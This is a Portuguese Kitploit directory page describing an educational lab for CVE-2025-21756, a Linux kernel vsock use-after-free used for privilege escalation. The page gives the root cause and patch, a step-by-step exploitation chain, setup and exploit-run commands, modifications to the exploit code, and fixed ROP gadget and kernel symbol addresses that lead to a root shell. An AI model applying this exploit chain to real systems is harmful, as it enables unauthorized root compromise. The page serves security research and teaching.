Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-21756 — CVE-2025-21756: Ataque do Vsock | Kitploit
Ferramentas/GitHubGitHub/h3raklez/cve-2025-21756
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoCTFAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

CVE-2025-21756: Ataque do Vsock

Ver Repositório
1há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-21756 — Laboratório de Exploração

Apenas para fins educacionais e de pesquisa de segurança autorizada.

Descrição

CVE-2025-21756 é uma vulnerabilidade use-after-free (UAF) no subsistema vsock (Virtual Socket) do kernel Linux, divulgada em 26 de fevereiro de 2025. Ela permite que um atacante local escalone privilégios para root em sistemas Linux afetados.

  • CVSS v3.1: 7.8 (ALTA)
  • Vetor: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Componente afetado: net/vmw_vsock/af_vsock.c
  • Kernel afetado: Linux 6.6.75 (e versões anteriores sem patch)

Causa Raiz

O bug ocorre durante a reatribuição de transporte de um socket vsock. A sequência vulnerável é:

  1. vsock_create() cria o socket com refcnt=2 e o insere na lista não vinculada
  2. transport->release() chama vsock_remove_bound() sem verificar se o socket foi movido para a lista vinculada, decrementando incorretamente refcnt
  3. vsock_bind() assume que o socket ainda está na lista não vinculada e chama _vsock_remove_bound() novamente
  4. refcnt chega a 0 prematuramente → o objeto vsock é liberado enquanto ainda referenciado → UAF

Patch aplicado

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Cadeia de Exploração

  1. Disparar UAF — Duas chamadas consecutivas a connect() com CIDs que produzem transportes diferentes fazem com que o objeto vsock seja liberado prematuramente enquanto ainda está ligado em vsock_bind_table
  2. Liberação de slab — Listas parciais SLUB são drenadas para devolver a página vítima ao alocador de páginas
  3. Spray de página — A página liberada é recuperada usando unix_dgram_sendmsg com mensagens de ordem 2 (MIGRATE_UNMOVABLE), preenchendo-a com dados controlados
  4. Canal lateral — vsock_diag_dump (não protegido por AppArmor) é usado como canal lateral para detectar quando a página foi recuperada e localizar o offset exato do objeto vítima dentro da página
  5. Sequestro de RIP — sk->sk_prot é sobrescrito para apontar para udp_prot+0x1c0 (udp_abort), que quando chamado invoca sk->sk_error_report(sk), cujo ponteiro é sobrescrito com um gadget de pivô de pilha
  6. Cadeia ROP — commit_creds(init_cred) é executado para atribuir credenciais root ao processo, seguido pelo trampolim KPTI para retornar ao espaço do usuário

Requisitos

  • Debian 12 ou 13 x86_64 (testado no Debian 13)
  • Usuário normal com acesso sudo
  • RAM mínima: 1 GB
  • Espaço em disco livre: 10 GB

Configuração do Laboratório

root@kitploit:~
# Baixe o script de configuração
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Execute como usuário normal (não como root)
./setup-lab.sh

O script lida automaticamente com:

  • Instalação do sudo se não estiver disponível
  • Instalação de todas as dependências necessárias (build-essential, qemu-system-x86, bc, pahole, etc.)
  • Download do ambiente oficial kCTF do Google (kernel lts-6.6.75, rootfs, ramdisk)
  • Download do exploit ktranowl e aplicação dos patches necessários
  • Compilação do exploit
  • Criação do ambiente de execução com os parâmetros corretos
  • Criação de run_lab.sh como ponto de entrada único

Executando o Laboratório

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

Assim que o ambiente inicializar, execute o seguinte dentro dele:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Saída esperada

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Para sair: Ctrl-A X


Modificações Aplicadas ao Exploit Original

O exploit base é de ktranowl. As seguintes modificações foram aplicadas para funcionar neste ambiente:

1. KASLR desabilitado

Modificação: nokaslr adicionado aos parâmetros de inicialização do kernel.

Motivo: O exploit original contorna o KASLR usando EntryBleed, uma técnica de canal lateral baseada em temporização TLB que requer precisão de temporização da CPU. Em um ambiente de virtualização aninhada, a precisão do rdtsc é insuficiente para que o EntryBleed funcione de forma confiável, produzindo um kbase incorreto que faz com que todos os endereços calculados com ADDRESS() estejam errados. Desabilitar o KASLR garante que o kernel sempre carregue em 0xffffffff81000000 e que os offsets fixos no exploit estejam sempre corretos.

2. user_rip alterado de modeprobe_exec para check_root

Modificação em exploit.c:

root@kitploit:~
// Antes
uint64_t user_rip = (uint64_t)modeprobe_exec;

// Depois
uint64_t user_rip = (uint64_t)check_root;

Motivo: modeprobe_exec é a técnica de escalonamento de privilégios usada no exploit original para o ambiente remoto kCTF. Ela requer argumentos de linha de comando (IP e porta de um servidor remoto) e conectividade de rede externa. Sem esses argumentos, o processo trava com GPF ao tentar ler argv[1]. check_root verifica diretamente o uid e executa /bin/sh, o que é suficiente para demonstrar a exploração em um ambiente local.

3. Removida chamada a modeprobe_exec dentro de check_root

Modificação em exploit.c:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removido
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Motivo: Mesmo com user_rip apontando para check_root, esta função internamente chamava modeprobe_exec novamente antes de executar /bin/sh. Sem os argumentos necessários, essa chamada causava um GPF e o processo era encerrado sem abrir um shell, apesar de commit_creds já ter escalonado os privilégios com sucesso.


Cadeia ROP e Análise de Símbolos

Durante o processo de configuração do laboratório, todos os símbolos do kernel e gadgets ROP foram verificados contra o kernel oficial lts-6.6.75 do kCTF para confirmar que eram válidos para este ambiente.

Gadgets ROP

Os três gadgets usados no exploit foram extraídos do kernel oficial usando ROPgadget no binário vmlinux e confirmados como correspondendo exatamente aos valores fixos:

Nenhum deles exigiu modificação.

Símbolos do kernel

Os seguintes símbolos foram verificados em relação a /proc/kallsyms dentro do kernel (com nokaslr, os offsets são fixos):

Todos os valores corresponderam aos originais no exploit. Nenhuma modificação foi necessária.

Nota sobre address_contain_udp_abort

Este valor não aponta diretamente para a função udp_abort. Ele aponta para udp_prot + 0x1c0, que é o campo diag_destroy dentro de struct proto. Isso é intencional: vsock_release chama sk->sk_prot->close(sk, 0), onde close está no offset 0 de struct proto. Ao apontar sk_prot para udp_prot->diag_destroy em vez do início de udp_prot, o kernel lê diag_destroy como se fosse o ponteiro close, que contém . Isso encadeia em → , onde o gadget de pivô de pilha é colocado.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot aponta para udp_prot+0x1c0
    └── udp_abort(sk)              ← campo diag_destroy, lido como close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← gadget de pivô de pilha
                └── Cadeia ROP
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → shell root


Mitigação

O patch oficial está disponível a partir do kernel 6.14-rc1 e foi retroportado para todos os ramos LTS mantidos. As distribuições afetadas emitiram seus próprios avisos:

  • Ubuntu: USN-7361-1 e posteriores
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 e posteriores

Referências


Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e teste de segurança autorizado. O uso não autorizado contra sistemas que você não possui ou sem permissão explícita por escrito para testar é ilegal. O autor não é responsável por qualquer uso indevido.

Baixar ferramenta
  • Shell root — execve("/bin/sh") com uid=0
  • GadgetEndereçoPropósito
    pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Pivô de pilha — move RSP para o início do objeto vsock controlado
    add rsp, 0xb8 ; jmp ...0xffffffff8170292cAvanço de pilha — pula campos reservados para alcançar a cadeia ROP
    pop rdi ; ret0xffffffff8115e4f9Carrega primeiro argumento para commit_creds(init_cred)
    SímboloEndereçoNotas
    vsock_bind_table[0x7a]0xffffffff84bc6280Âncora do canal lateral — o slot da lista vsock onde o objeto vítima cai
    init_net0xffffffff84bb1f80Usado para validar o objeto vsock falso via vsock_diag_dump
    commit_creds0xffffffff811fdac0Atribui credenciais root ao processo atual
    init_cred0xffffffff83c74d80Estrutura de credenciais com uid=gid=0, em um offset fixo a partir da base do kernel
    kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — restaura CR3 e retorna ao espaço do usuário
    address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — veja nota abaixo
    udp_abort
    sk_error_report(sk)
    sk->sk_error_report(sk)
    AspectoOriginal (ktranowl)Este laboratório
    Bypass de KASLREntryBleed (temporização TLB)Desabilitado (nokaslr)
    Técnica de escalonamentomodeprobe_exec via core_patternexecve("/bin/sh") diretamente
    Ambiente alvokCTF remotoLocal
    Conectividade externa necessáriaSimNão
    RecursoURL
    Artigo original (Hoefler)https://hoefler.dev/articles/vsock.html
    Exploit de Hoeflerhttps://github.com/hoefler02/CVE-2025-21756
    Análise n-day (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
    Exploit de ktranowlhttps://github.com/khoatran107/cve-2025-21756
    Patch oficialhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
    NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
    Regras do kCTFhttps://google.github.io/security-research/kernelctf/rules.html